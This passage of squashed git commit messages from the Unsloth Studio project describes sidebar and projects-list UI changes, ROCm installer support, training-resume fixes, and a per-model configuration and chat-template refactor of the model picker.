- Opening a chat nested under a pinned project closes the mobile drawer, matching the other sidebar nav handlers.
- The saved-prompt Run-list path now honours disableQueue, so running a prompt list from the project new-chat composer cannot queue against an unbound thread.
- Reset the delete-files toggle when opening a project delete, since the Cancel button closes the dialog programmatically and skips the onOpenChange reset.
* Sidebar: give nested project chats the full options menu and a pin quick-action
- Chats nested under a pinned project now render through the shared chat row, so they get the same hover kebab (Rename, Pin, Move, Export, Archive, Delete) plus a pin/unpin quick-action, matching top-level chats.
- Show more/less now uses the muted nav token with an override, since the sidebar-nav-btn color rule otherwise won so the label matched the chat rows; it now reads clearly dimmer in both light and dark mode.
* Projects list view, pinned-chat promotion, and sidebar polish
- Pinning a chat inside a project now promotes it into the pinned chats list and removes it from the project's nested list, so it shows once in the Pinned section.
- Sidebar highlights only the open chat, not its parent project folder, while a chat inside the project is active.
- Rename project uses the edit icon instead of the compose icon so it no longer matches New chat.
- Projects page is now a list: Name and Modified columns, a pin indicator on pinned rows, and the row options menu on hover, replacing the card grid.
* Redirect after deleting a project viewed via a thread-only URL
commitDelete only redirected when the ?project= param matched the deleted
project. On a thread-only URL the project is resolved from the thread into the
runtime store, so also compare that resolved id, otherwise the user is left on
a deleted thread.
* Restore the unpin quick-action on pinned chats
Pinned rows in Recents already reserved room for it, but only the kebab
rendered. Show the unpin button on hover, left of the options button.
* Projects list: alignment, spacing, no icon overlap, fit-to-height paging
- Add side padding to the list and more room after the folder icon.
- Column header now shares the row layout so Name and Modified line up with the values.
- Pin indicator and options button swap by display so they no longer overlap.
- Show more only appears once projects exceed the page height and reveals five more per click.
* Projects list: align Name to the folder icon and narrow the table
- Drop the header leading spacer so Name starts at the folder icon edge; the
right-anchored columns keep Modified aligned.
- Narrow the page to max-w-4xl so the table is less wide.
* Projects list: widen slightly and add top spacing
Bump the page to max-w-5xl and increase the top padding so the header sits
a little lower.
* Projects list: infinite scroll instead of Show more
- First page fills the viewport, then a sentinel loads another batch as it
scrolls into view, re-observing after each load so it keeps filling.
- Search still filters the full project set and shows every match uncapped.
* Projects list: drop dividers for a rounded-row hover style
Remove the row and header borders and give each row a rounded hover fill so
the list reads cleaner, closer to a modern file list.
* Projects list: more row spacing and a tighter hover radius
Increase row padding so projects sit further apart, and drop the hover
corner radius so it reads as a rounded rectangle rather than a pill.
* Projects list: more space below the title
Increase the list top margin so the header sits further from the rows.
* Project landing: narrow slightly and drop the Sources New badge
Reduce the landing column to 44rem and remove the New badge from the Sources
tab.
* Project switcher: rounded-rectangle rows instead of pill
The switcher rows are short, so the shared 12px item radius reads as a pill.
Scope a smaller radius to this menu so the highlight is a rounded rectangle.
* Project landing: add a header options menu
Add a kebab menu next to the project title with Rename project, Pin or Unpin
project, Export, and Delete project, reusing the existing project actions.
* Project switcher: round the scrollbar-side corners
Revert the earlier item-radius tweak. The container corners were squared on
the scrollbar side because the container itself scrolled; move the scroll to an
inner wrapper so the rounded container never scrolls.
* Projects: keep row kebab focusable, gate off-route dialogs, refresh history on delete
* Projects: fix delete copy, refresh history on landing delete, gate chat-delete dialog off-route
---------
Co-authored-by: shimmyshimmer <info@unsloth.ai>
* Studio: show the mobile sidebar trigger above the chat header
* fix
* correct z-index
---------
Co-authored-by: Lee Jackson <130007945+Imagineer99@users.noreply.github.com>
* Installer: enable ROCm torch on RDNA2 (gfx1030-1036) on Windows
repo.amd.com publishes a gfx103X-all wheel family with win_amd64 torch
2.9.1/2.10.0/2.11.0+rocm7.13.0 (cp310-313), but both Windows allowlists
omitted RDNA2, so RX 6000 cards (gfx1030/1032, etc.) fell back to CPU-only
torch. Map gfx1030-1036 to gfx103X-all in install.ps1 ($archFamilyMap) and
install_python_stack.py (_GFX_TO_AMD_INDEX_ARCH). No torch floor (mirrors
gfx110X-all: newest wheel, no _grouped_mm bug on RDNA2). NVIDIA/Mac/CPU and
Linux paths untouched; gfx906 stays CPU (no wheels published).
* Sync studio/setup.ps1 RDNA2 (gfx1030-1036) allowlists for PR #7277
* Studio: show HF token tick only after validation
* Studio: prevent stale HF token validation state
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
* Installer: report the installed Unsloth version
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
* Fix resume training crash recovery and MLX checkpoints
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Address review: preserve interrupted stop-and-save output_dir, verify MLX checkpoint
- finish_run: add clear_output_dir flag; preserve output_dir for stopped/error
unless cancel explicitly clears it (fixes pump finalization wiping persisted path).
- training pump: pass interrupted stop-and-save context into finalize_run_in_db.
- MLX stop-and-save: verify resumable checkpoint exists before sending complete;
return bool from _write_mlx_stop_checkpoint and add regression tests.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Address Codex review: MLX current-step checkpoint and cancel error finalize
- Only skip MLX stop checkpoint write when checkpoint-{current_step} exists;
stale periodic checkpoints no longer mask missing stop saves.
- Pass clear_output_dir through error-event finalization so Stop-without-save
cannot leave a persisted output_dir that still offers Resume.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Address review
* Address more reviews
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* more reviews
* clear in-memory output_dir on interrupted cancel
* allow resuming errored runs at the final step
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Clear persisted output_dir in cancel watchdog path
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Write MLX stop checkpoint in stop path, keep output_dir on crash finalize
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* fix(studio): harden resumable run finalization
* fix(studio): defer safetensors checkpoint import
* fix(studio): reject stale training cancellation
* fix(studio): replay null resume targets
* fix(studio): serialize terminal cancellation
* Harden resume checkpoint validation and fix stop-save cleanup
- Reject unrecognized shard formats and keep indexed shard paths inside the checkpoint dir
- Require a non-empty tensor record when validating .pt/.bin optimizer and model state
- Always finalize TensorBoard and W&B on stop-save-failure exits
- Refuse writing an MLX stop checkpoint through a symlinked directory
- Clarify the resume rejection message to cover errored runs
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Tighten resume/checkpoint comments
* Recover resumability when a valid stop checkpoint landed
- Re-validate the current-step checkpoint in the dead-worker and error finalization paths so a stop-and-save that actually wrote a valid checkpoint is not wrongly marked error/resume_blocked
- Accept a valid tensor-free optimizer state (e.g. SGD without momentum); the model-state check still requires real tensors
- Include errored runs in the frontend resume rejection message
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Lyxot <longyixing331@gmail.com>
Co-authored-by: Lee Jackson <130007945+Imagineer99@users.noreply.github.com>
Co-authored-by: danielhanchen <danielhanchen@gmail.com>
* Fix Studio desktop reliability
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Fix desktop export completion and layout migration
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Fix maximized setup layout migration
* Adapt desktop exports to data settings
* fix(studio): harden desktop reliability edge cases
* fix(studio): preserve rounded combobox focus fill
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
* refactor(studio): move chat model picker into features/model-picker
Relocate model-selector + its support files from components/assistant-ui
into a self-contained features/model-picker feature (own barrel), mirroring
the modular Hub layout. Pure move + import repoint; no behaviour change.
* feat(model-picker): add per-model config persistence layer
Superset PerModelConfig (customContextLength, kvCacheDtype, speculativeType,
specDraftNMax, tensorParallel, chatTemplateOverride, trustRemoteCode) persisted
to localStorage (unsloth_model_configs) with schema versioning + LRU budget.
KV-dtype and speculative value sets match main's sidebar (no q4_0/ngram-simple).
Reuses features/hub/lib/model-identity for normalization; adds storage-key layer
and applyPerModelConfigToRuntime (sets tensorParallel, which the old PR omitted).
* feat(picker): modular backend for chat-template validate + default fetch
New studio/backend/picker package (schemas/service/routes) mounted at /api/picker:
- POST /api/picker/validate-chat-template (Jinja syntax validation, no false positives)
- GET /api/picker/chat-template/{model_name} (default template from tokenizer_config.json,
reusing get_cache_path/resolve_cached_repo_id_case; graceful null, no model-code exec)
Frontend api/templates.ts client + hooks/use-model-defaults lazy cache. No backend
changes to the existing inference load route (per-model load fields already supported).
* feat(model-picker): bind picker on-device list to shared hub inventory
Picker now sources cached + local models from useHubInventory (the Hub's shared
store) via a thin adapter, replacing its own /api/models/* fetchers + module
caches. Hub, download manager, and picker now share one source of truth, so
completed downloads reflect in the picker automatically. Partial/live-download
rows are filtered from the cached lists (unchanged rendering). Local naming/search
preserved via additive LocalInventoryRow modelId/displayName. Variant expander,
scan-folder management, recommended-fit, search, external providers untouched.
Known minor: cached 'Downloaded date' sort tiebreak degrades to alphabetical
(hub cached rows carry no mtime); default 'recent' (load-time) sort preserved.
* feat(model-picker): per-model config step inside the picker
Picking a (non-external) model now opens an in-picker config view built from
main's current load controls (context length, KV cache dtype, speculative
decoding, draft tokens, tensor parallel) plus a chat-template editor backed by
the picker validate/default endpoints. 'Remember for this model' persists the
config per model+variant; Run forwards the config to the existing load flow via
meta.config. External models bypass the step. Two-view orchestration lives in
model-selector (single interception point); pickers.tsx call sites untouched.
trustRemoteCode dropped from PerModelConfig to preserve main's per-load consent.
* feat(chat): apply/persist per-model config through the load flow
handleCheckpointChange threads meta.config into the selection; stageOrLoad and
the autoload/Hub-run paths now apply the picker config (explicit pick or saved
remembered config) via applyPerModelConfigToRuntime before staging/loading, with
keepSpeculative set so a remembered speculative mode survives the model switch.
Replaces the old remembered-load-settings seeding (resolveInitialConfig now the
single source). SelectedModelInput carries config.
* refactor(chat): remove per-model load config from the right sidebar
The load knobs (context, KV cache, speculative, draft tokens, tensor parallel)
and the chat-template editor now live only in the picker config step. The sheet's
Model section keeps the staged Load/Cancel flow (config is applied at pick time);
sampling params, system prompt, and RAG are unchanged. Deletes the superseded
remembered-load-settings module + the store's applyRememberedLoadSettings action,
removes the now-dead sheet state/imports, and points the settings reset at
unsloth_model_configs. Delete-cleanup deferred (stale config is LRU-capped).
* fix(model-picker): remove leftover sidebar-staging cogwheel + empty Model section
The downloaded-variant gear (ModelLoadSettingsAction) staged a model straight
into the right-sidebar Run-settings flow -- the old 'configure before load' path
now fully replaced by the in-picker config step. Removed the gear + its component.
Also gate the sheet's 'Model' section to staged picks only (pendingSelection):
after the load-knob strip its content is staged-only, so it was rendering an
empty section header whenever a model was merely loaded.
* chore(chat): remove dead per-model-config setters + modelControlsDisabled
After the load-config UI moved into the picker, the store's per-model setters
(setKvCacheDtype/setSpeculativeType/setSpecDraftNMax/setTensorParallel/
setCustomContextLength/setChatTemplateOverride) had zero callers
(applyPerModelConfigToRuntime writes via setState), and the sheet's
modelControlsDisabled was unreferenced. Verified dead across the whole tree.
* fix(chat): config-step Load actually loads (ignore Load-on-selection)
Root cause: with Settings > Chat > 'Load on selection' turned OFF, the config
step's load went down the deferred-staging path -- opening the right sidebar with
'<model> is staged, not loaded yet / Choose Load model'. The in-picker config step
IS the deliberate load action, so its Load now loads immediately (or downloads +
auto-loads when not cached) regardless of the toggle. Renamed the button
'Run model' -> 'Load model' to match. Native/dropped picks still honor the toggle.
* refactor(chat,hub): retire 'Load on selection' — config step is the only load flow
The in-picker config step (and the Hub Run button) now fully supersede the old
stage-to-sidebar flow, so the Load-on-selection toggle is removed everywhere:
- chat stageOrLoad: every pick loads immediately, or downloads + auto-loads when
not cached (the previous default behaviour, now universal).
- hub Run: drops the stage branch; downloaded GGUFs load directly with their saved
per-model config (no collision with the chat config step — both end at selectModel).
- store: removed loadOnSelection field/setter/key/default; Settings>Chat toggle and
its settings-reset entry removed.
- staged sidebar section is now a download-progress view (auto-loads on completion).
No manual staging remains; stageModel is used only for background auto-load downloads.
* feat(model-picker): default chat template from GGUF + thread variant through config flow
Read the embedded tokenizer.chat_template from GGUF files (read_gguf_chat_template
in gguf_metadata) and use it as the per-model default. Plumb gguf_variant through
the picker service, /api/picker/chat-template route, frontend templates API, and
use-model-defaults so the right variant's template is fetched.
Also refine the picker config-page/model-selector wiring, drop the dead
ggufNativeContextLength runtime path, and add the per-model-config storage keys to
the settings prefs export.
* feat(model-picker): read safetensors chat template + hide editor where it has no effect
Resolve the default chat template for safetensors models: prefer the modern
chat_template.jinja, fall back to the tokenizer_config.json chat_template field,
then chat_template.json (multimodal processor), then the GGUF embedded template.
Applied to local dirs, the HF cache snapshot scan, and the HF remote fetch.
Hide the chat-template editor in the picker for safetensors models — the override
is only applied at load by the GGUF/llama.cpp backend, so editing it on safetensors
currently has no effect. GGUF keeps the editor. Nothing removed; the dialog stays
for when the safetensors apply path is wired up in a later branch.
* fix(model-picker): set legacy-migration flag only after the write succeeds
Set unsloth_model_configs_migrated only once writeMap confirms the migrated
map persisted, so a quota/storage failure no longer marks migration done and
silently drops the user's pre-existing remembered settings — the next load retries.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* MVP model picker fixes
* MVP picker config fix
* MVP safetensors config
* MVP max seq config
* MVP max seq fix
* Fix static max tokens cap ignoring model context
* Fix picker GGUF scan parity
* fix(studio): harden model picker config loading
Apply remembered per-model configs consistently from picker and Hub loads, keep default configs from overriding standing speculative settings, add config access for direct local GGUF files, and support saving or forgetting active model settings without a reload.
* Fix model picker config flow
* Fix model picker config loads
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Avoid recursive per-model config migration reads
* Apply the displayed context length when loading a GGUF
* Fix template validation, cached template lookup, and failed load rollback
- Validate chat templates with the loopcontrols extension so templates
that use break or continue tags pass the picker validator, matching the
inference renderer that already accepts them.
- Read the default chat template from the newest cache snapshot rather than
an arbitrary iterdir order, so an older cached revision no longer prefills
a stale template.
- Capture the runtime per-model config before a load and reapply it when the
load fails, so a failed switch leaves the active model context, KV cache,
template, and speculative settings as they were.
* Make chat template view only for safetensors models
Custom chat template overrides are applied at inference only for GGUF
models, which pass the template to llama-server. The safetensors backend
renders with the model built-in template and ignores the override, so
editing it would save a value that never loads. For safetensors the
config page now opens the template as a read-only preview with a note
that editing is not available yet. This can become editable once
inference support for custom safetensors templates lands in main.
* Fix model picker config edge cases
- Restore prior runtime config when a load no-ops for the active model
- Cap the picker validator request body via the protected prefixes
- Keep the GGUF context slider max above the loaded context
- Fetch subfolder chat templates for uncached Hub repos
- Show the compare side config when reopening the picker
* Keep saved GGUF context above the fallback ceiling
* Show the model config in the run settings sidebar
* Fix model config sidebar reset and context slider
- Stack the remember toggle and action buttons in the sidebar
- Reset the config to defaults instead of the loaded values
- Fetch the native context so the slider max is not the loaded value
* Fix model picker config and download regressions
- Run picker chat template routes off the event loop
- Depth and root guard local template directory scans
- Restore download manager flow for uncached hub picks
- Apply per model context length on reload
- Import model picker symbols from the feature barrel
* Fix model picker config and cached download sorting
- Restore load settings when a Hub run is rejected mid load
- Reuse one NumericValueInput instead of a duplicate copy
- Fix double decode of the model name in the template route
- Remove the unused reset-to-loaded settings action
- Fix cached model download sorting
* Fix model picker per-model config edge cases
Honor a saved or typed max seq length above the model's native context so
RoPE extended values are no longer clamped and silently overwritten. Allow
typing past native while the slider keeps native as a soft ceiling.
Guard the fetch success paths in use-model-defaults against an aborted
signal, and refetch when the HF token changes.
Hash the chat template content in the sidebar remount key instead of its
length. Enable reset for a GGUF whose native context is unknown, and floor
the context slider max so it can never fall below the min.
* Fix GGUF context auto-fit and gated model config token
Stop forcing a 32768 context when a GGUF native context is unknown so the backend auto-fits to VRAM again, while still honoring an explicit context edit.
Send the HF token as a query param so gated safetensors models resolve their max position embeddings.
Derive model default state during render to drop the set-state-in-effect calls.
* Fix native GGUF context ceiling and guard picker template reads
Restore the native context store field so the sidebar slider keeps the
full ceiling for drag and drop GGUFs. Limit local chat template reads to
the browse allowlist, skip malformed repo ids, and drop unused model
picker exports.
* Fix model picker lint boundaries
* Fix model picker review findings
Chat template editor never seeded its draft. Radix only calls onOpenChange
from internal events, so the seed in the nextOpen branch was dead and a model
with a saved override opened empty. Saving then cleared the override. Drop the
dead branch, treat draft as an untouched sentinel, and reset it on every close.
Uncached Hub picks could auto load a model after the user left the chat. Main
detached the staged pick on route exit and on chat context change. Carry the
context key on the pending pick and skip the load when it no longer matches.
Also clear configTarget when the picker closes, restore the onUpdated ref so
variant rows stop resubscribing on every parent render, skip the LRU write when
the entry is already most recent, import NumericValueInput relatively, and drop
the unused ModelUpdateAction barrel export.
* Preserve GGUF context on active reload
* Fix model picker per-model config regressions
- Stop reloading the already loaded model on re-pick
- Hide infra models from the chat picker
- Detect vision support on cached GGUF repos
- Honor saved maxSeqLength on auto load
- Restore default chat template for local GGUFs
- Warn on save failure and revert config on cancel
- Refetch picker inventory on open
- Persist read only per model config safely
* Fix stale model auto load
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Fix model picker numeric input sizing and constraints
Size value inputs to their content so long context lengths are not clipped,
restrict them to numeric characters, and stop the speculative decoding label
from truncating in the sidebar.
* Fix picker CI tests and harden chat template resolution for PR #6647
- tests: point the descender guard at the moved model-selector.tsx path
- tests: exclude the disabled Reload model button from the regenerate locator so .first targets the real Regenerate
- picker/service.py: reject symlinked template/gguf leaves that resolve outside the browse allowlist (HF cache reads unchanged)
- compare mode: resolve each pane's own remembered chat template instead of inheriting the other pane's from the store
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Protect future-schema per-model configs from deletion for PR #6647
savePerModelConfig already refuses to overwrite a stored config whose schema version is newer than this client understands, but deletePerModelConfig did not. Unchecking Remember on an older client therefore silently destroyed a newer client's saved config. Apply the same guard on delete and surface the blocked case through the existing saveFailed toast.
* Protect future-schema per-model configs from quota eviction for PR #6647
The save and delete guards already refuse to touch a stored config whose schema version is newer than this client understands, but the quota-eviction path did not, so a full store on an older client could still evict a newer client's config. Skip future-schema entries when evicting and fail the save if the budget cannot be met without them.
* Fix GGUF context persistence, compare context, and rollback settings for PR #6647
Persist a GGUF context override from the user's intent instead of collapsing it against the loaded context, which reintroduced the context-reset (f4838782cb reverted the native-baseline fix). model-config-page now collapses the saved value against native, and use-chat-model-runtime and chat-adapter retain the requested context on load so re-saving another setting keeps the override; a null request stays null so a VRAM auto-fit never becomes a stored override.
shared-composer: a compare pane with no explicit GGUF context now loads at native (0) like single-view, not the session maxSeqLength that silently shrank the shown context.
use-chat-model-runtime: restore the previous model's KV cache dtype and chat template on a failed-load rollback so it runs as it was, not with backend defaults.
* Preserve native path token when reloading the active model for PR #6647
handleReloadActiveModel rebuilt the selection without the store's activeNativePathToken, so reloading a file-picked GGUF after a settings change validated the display label as a repo/path and failed. Thread the active native token through the reload selection so native-loaded models reopen correctly.
* Make picker template validation resilient and accept HF generation tags for PR #6647
Import Jinja lazily inside validate_chat_template so a backend without the optional jinja2 package (GGUF-only installs) still starts instead of raising ModuleNotFoundError at import time. Register a no-op extension for the Transformers {% generation %} assistant-mask tag so pasting a valid HF chat template validates, matching the renderer, rather than being rejected as an unknown tag.
* Honor remembered compare config and parse processor chat_template.json for PR #6647
* Fix failed-load rollback context and processor template map fallback for PR #6647
* Restore speculative decoding config on failed-switch rollback
When a model switch fails after the previous model was unloaded, the
rollback reload restored tensor_parallel, KV cache dtype and the chat
template override, but omitted speculative_type and spec_draft_n_max and
cleared their loaded shadows to null. The previous model therefore came
back running at backend defaults (speculation off) while the UI still
showed it enabled, and the status resync confirmed the off state. Resend
the previous model's speculative settings in the rollback load and keep
the store's active and loaded speculative fields in sync with them.
* Reset max sequence length when a model has no saved config
applyPerModelConfigToRuntime reset every per-model field except
maxSeqLength, which it only wrote when the incoming config had one.
maxSeqLength is the sole field carried on store.params, so selecting a
model with no remembered config left the previous model's value in place
and later loaded the new model at that leaked length. Fall back to the
standing default so an unremembered model loads at its own default.
* Surface a message when a variant update cannot start
startManagedUpdate handled the conflict and error start outcomes but let
busy fall through as if the update began, so the confirm dialog closed
with no job created and the cached variant stayed stale. Show an info
message when the repo is busy with a sibling transfer so the click is
not silently dropped.
* Keep per-model speculative choices out of the global default
A staged load with a per-model or one-off config sets keepSpeculative,
which already skips reading the global speculative preference. The
matching save still ran unconditionally, so the model-specific choice was
written to the global unsloth_chat_speculative_type and a later model with
no saved config started from it instead of Auto. Skip saveSpeculativeType
when keepSpeculative so the per-model choice stays isolated.
* Seed non-active model settings from the app default max length
The Run settings page captured initialMaxSeqLength from the loaded
model's runtime params and fell back to it for a model with no saved
config. Opening settings for a different, unloaded model and clicking
Load then sent the active model's context (for example 64k) instead of
the 4096 default, risking validation failures or OOMs. Seed the default
for non-active models and keep the runtime value only for the active one.
* Prefer sidecar tokenizer chat template over the GGUF copy for variants
_chat_template_from_dir returned the embedded GGUF template first when a
variant was selected, reversing the tokenizer-first precedence of the
no-variant path. A model whose chat_template.jinja or tokenizer_config.json
supersedes a stale embedded template then got the wrong template on
variant selection. Keep tokenizer files first regardless of variant; the
variant only picks which GGUF is the fallback. Adds regression tests for
both the tokenizer-wins and gguf-fallback cases.
* Keep per-model speculative choices load-local in autoload and compare
The interactive load path treats a per-model speculative choice as
load-local and skips writing it to the global default. Autoload and
generalized compare still called saveSpeculativeType unconditionally, so a
remembered off or ngram setting leaked into unsloth_chat_speculative_type
and later models with no saved config inherited it. Persist the global
preference only when the value came from the global settings.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: record the compare pane's loaded context in runtime state so the active model's settings and any reload or save use it, not the previous context
* Studio: notify the user when a Hub autoload can't start because another download for the model is already running, instead of silently dropping it
* Studio: drop the merge's orphaned staged-model store helpers and unused alert imports
The main merge left isPendingGguf and pendingSelectionMatches referencing the
removed PendingModelSelection type, and the alert-dialog/alert imports unused
after the permission-mode dropdown replaced the bypass dialog, so tsc -b failed.
* Studio: cache a null default chat template so the viewer stops re-fetching it
A model with no sidecar or embedded template resolves to a terminal null, but
that result was never cached, so reopening the template viewer re-ran the
backend and Hugging Face lookup every time.
* Studio: detect direct-file GGUFs in run settings so Max Tokens uses their context
A GGUF loaded from a local file or custom folder has no variant label, so the
run-settings panel treated it as non-GGUF and clamped Max Tokens to the session
max_seq_length instead of the loaded GGUF context. Detect it via the reported
GGUF context and the .gguf checkpoint suffix, matching the chat page.
* Studio: prompt to re-select a local model file when its lease expired before reload
A file-picked GGUF is reachable only through a native path token that the
desktop host prunes after a TTL. Reloading reused that token blindly, so a
reload long after the initial load failed with an opaque error. Track the
token's expiry and, when it has passed, ask the user to re-select the file
instead of attempting a doomed reload.
* Fix descender-clipping test to tolerate sidebar layout utilities
The sidebar account-block div carries layout utilities (min-w-0, flex-1)
between 'flex' and 'flex-col', so the descender-clipping guard's regex,
which required 'flex' immediately followed by 'flex-col', no longer matched
and the test failed to locate the account-block div. Generalize the prefix
to allow intervening flex utilities while still capturing the leading-*
class before the collapsible visibility utility and asserting leading-tight,
so the guard against clipped glyph descenders is fully preserved.
* Harden picker chat-template resolution
Enforce the 64 KiB chat-template contract at the validate endpoint's request
model so a direct caller cannot submit a template far larger than the frontend
allows (MaxBodyMiddleware only bounds the whole request body, not this field);
oversized templates now return a clean 422.
Apply sidecar-over-GGUF template precedence globally across cached snapshots
instead of per snapshot. A repo with multiple cached revisions previously
returned the first snapshot's template, so a newer GGUF-only revision could
win over an older revision's maintained chat_template.jinja sidecar, which
contradicted the documented intent that sidecars supersede the embedded copy.
* Guard per-model config against future-schema and lossy migration
Two forward-compatibility gaps in the versioned per-model config store:
- The load/apply path returned and normalized a stored record without checking
its schema version, so a record written by a newer client was reinterpreted
under the current schema and applied to a live model load, even though save,
delete and eviction all refuse to touch future-schema records. Reject
future-schema records on load too.
- The one-time legacy migration enforced the storage budget without protecting
the entries it had just migrated and set the completion flag unconditionally.
When storage was already full of future-schema records (which are unevictable
by an older client), the migrated entries were the only evictable ones and
could be dropped while migration was still marked complete. Protect the
migrated keys during eviction and only mark migration complete when they
survive, so it retries once space frees up.
* Discard chat-template validation results after the dialog closes
Server-side template validation is async, but closing or cancelling the editor
did not abort it, so a late-arriving valid response still called onSave and
applied a template the user had already dismissed. Track a validation token
that is bumped on close and ignore any validation result whose token is stale.
* Record native lease expiry when loading a picked GGUF from the chip
The pending-native-model chip loaded via stageOrLoad directly, bypassing
loadNativeModelIntent, so activeNativePathExpiresAtMs was never recorded for a
chip-loaded file. A later reload then either skipped the lease-expiry guard
entirely (expiry left null) or compared against a previously loaded file's
stale expiry, so reload could reuse an already-pruned token or wrongly block a
still-valid one. Route the chip through loadNativeModelIntent, which builds the
same selection and records the expiry.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Prefer sidecar template for a directly selected local GGUF file
A direct .gguf file path read its embedded chat template without checking the
parent directory for a maintained sidecar (chat_template.jinja /
tokenizer_config.json), while directory and variant selections already prefer
the sidecar. That let the config editor preview or save a stale embedded
template for the same model depending on how it was selected. Check the parent
directory sidecars first, then fall back to the embedded copy, and cover both
paths with tests.
* Resolve cached chat template per revision, newest first
The earlier change searched every cached snapshot for a sidecar before
considering any snapshot's embedded GGUF template, which let an obsolete sidecar
from an older revision override the newest revision's template. Restore
per-snapshot resolution (newest first): a revision's sidecar still supersedes
its own embedded GGUF copy, but a newer revision is no longer overridden by an
older revision's sidecar.
* Preserve autoload transport conflicts and surface background busy downloads
- When a Hub autoload hits a transport conflict, keep pendingHubAutoLoad bound
instead of clearing it. Clearing it re-keyed the download surface and its
cleanup cancelled the conflict the toast tells the user to resolve, so the
Hub resume affordance was gone the moment it appeared. Return early on
conflict, mirroring the started branch, so resolving it from the Hub still
auto-loads on completion.
- The background-download branch handled started and conflict but silently
dropped a busy outcome, leaving the user with no feedback when a peer variant
of the same repo was already downloading. Surface the same busy toast the
autoload path uses.
* Fix context length, GGUF template, fetch state and lease expiry bugs
Keep explicit context length values instead of collapsing to null at
native. The collapse made the slider jump back at the native maximum
and made Reload load the previous context instead of the chosen one.
Prefer the first split when resolving a GGUF without a variant. Later
splits carry no chat template metadata, so picking the largest file
could return no template for a sharded model.
Clear stale fetch state when template and metadata lookups retry, so
a previous terminal error is not shown while a new fetch is running.
Record native path lease expiry together with the token when a load
commits. The expiry was written by only one load path and even when
the load did not start, so a reload could be blocked with an expired
file message for a still valid token.
* fix(model-picker): resolve review findings across config, inventory, and templates
- Apply remembered per-model config in the training-compare chat handoff so a
prior model's customContextLength no longer leaks into the next load
- Match GGUF variant labels with the inventory extractor too, so cached
no-quant-token files resolve their default chat template
- Show "Auto" instead of a fabricated 32768 when native context is unknown
- Reuse the identical staged auto-load object on same-pick so a re-pick during
download pre-flight no longer disarms auto-load via "busy"
- Union supports_vision when deduping cross-cache inventory rows
- Serve hidden-model needles from a new GET /api/hub/hidden-models endpoint and
merge them client-side, covering runtime-configured RAG embedders
- Clamp GET chat templates to MAX_CHAT_TEMPLATE_BYTES (route + jinja sidecar),
matching the validate endpoint's contract
- Lower-clamp stored customContextLength to shared CONTEXT_LENGTH_MIN
- Wipe unsloth_chat_load_on_selection in Settings "Reset all"
- Drop stale pendingHasContext comment describing deleted staging machinery
* Fix stale defaults cache, token in query string and rounded up context ceiling
Refresh cached chat template and max position data when a model update
completes. Send the HF token for model config requests in the dedicated
header instead of the URL. Snap the native sequence length ceiling down
to the nearest step so the slider cannot exceed the declared maximum.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Fix compare pane reverting active checkpoint on non-GGUF load
Re-read runtime params after setCheckpoint so the fresh checkpoint is
kept instead of being overwritten by the pre-setCheckpoint snapshot.
* Send the HF token via header for the vision and embedding checks
checkVisionModel and checkEmbeddingModel still passed the HuggingFace
token as a ?hf_token= query parameter, so it landed in server access
logs, proxy logs, and browser history. Move them to the
X-Unsloth-HF-Token header like getModelConfig already does, and accept
the header on the check-vision and check-embedding routes with the
existing query parameter kept as a fallback for older clients.
* Cap the chat template on the model load path
The load endpoint accepted an unbounded chat_template_override, so a
direct caller could hand llama.cpp an arbitrarily large Jinja template
even though the frontend, the validate endpoint, and the read paths all
enforce the 64 KiB limit. Reuse MAX_CHAT_TEMPLATE_BYTES in the
LoadRequest validator, rejecting oversized templates with a fast
character-count check before the exact UTF-8 byte check.
* Protect existing per-model configs during legacy migration
When the one-time legacy import pushes the store over budget, eviction
now protects the entries the user already has and drops only the
just-migrated legacy entries, so importing old load settings can never
discard a newer per-model config.
* Reset clears the context override instead of pinning the native value
Reset wrote the discovered native context into customContextLength for
GGUF models, but isDefaultConfig treats any non-null customContextLength
as an explicit pin, so Reset with Remember enabled persisted a fixed
context and future loads stopped using the native auto context. Reset
now restores the full default (customContextLength null); the native
value is still shown through the existing display fallback.
* Bound chat-template sidecar reads to a size limit
The chat_template.json, tokenizer_config.json, and Hub-downloaded sidecar
readers decoded and json-parsed the whole file before the extracted
template hit the 64 KiB response cap, so an oversized metadata file could
exhaust memory. Read them through a bounded reader (4 MiB envelope) that
returns None when the file is larger, matching the existing chat_template.jinja
size guard. Adds tests for oversized tokenizer_config.json and chat_template.json.
* Keep the native-path token and lease expiry in sync
Rollback after a failed reload restored the previous token but left the
failed load's expiry in the store, so a later reload could be falsely
blocked as expired (token A paired with load B's lease). Restore the
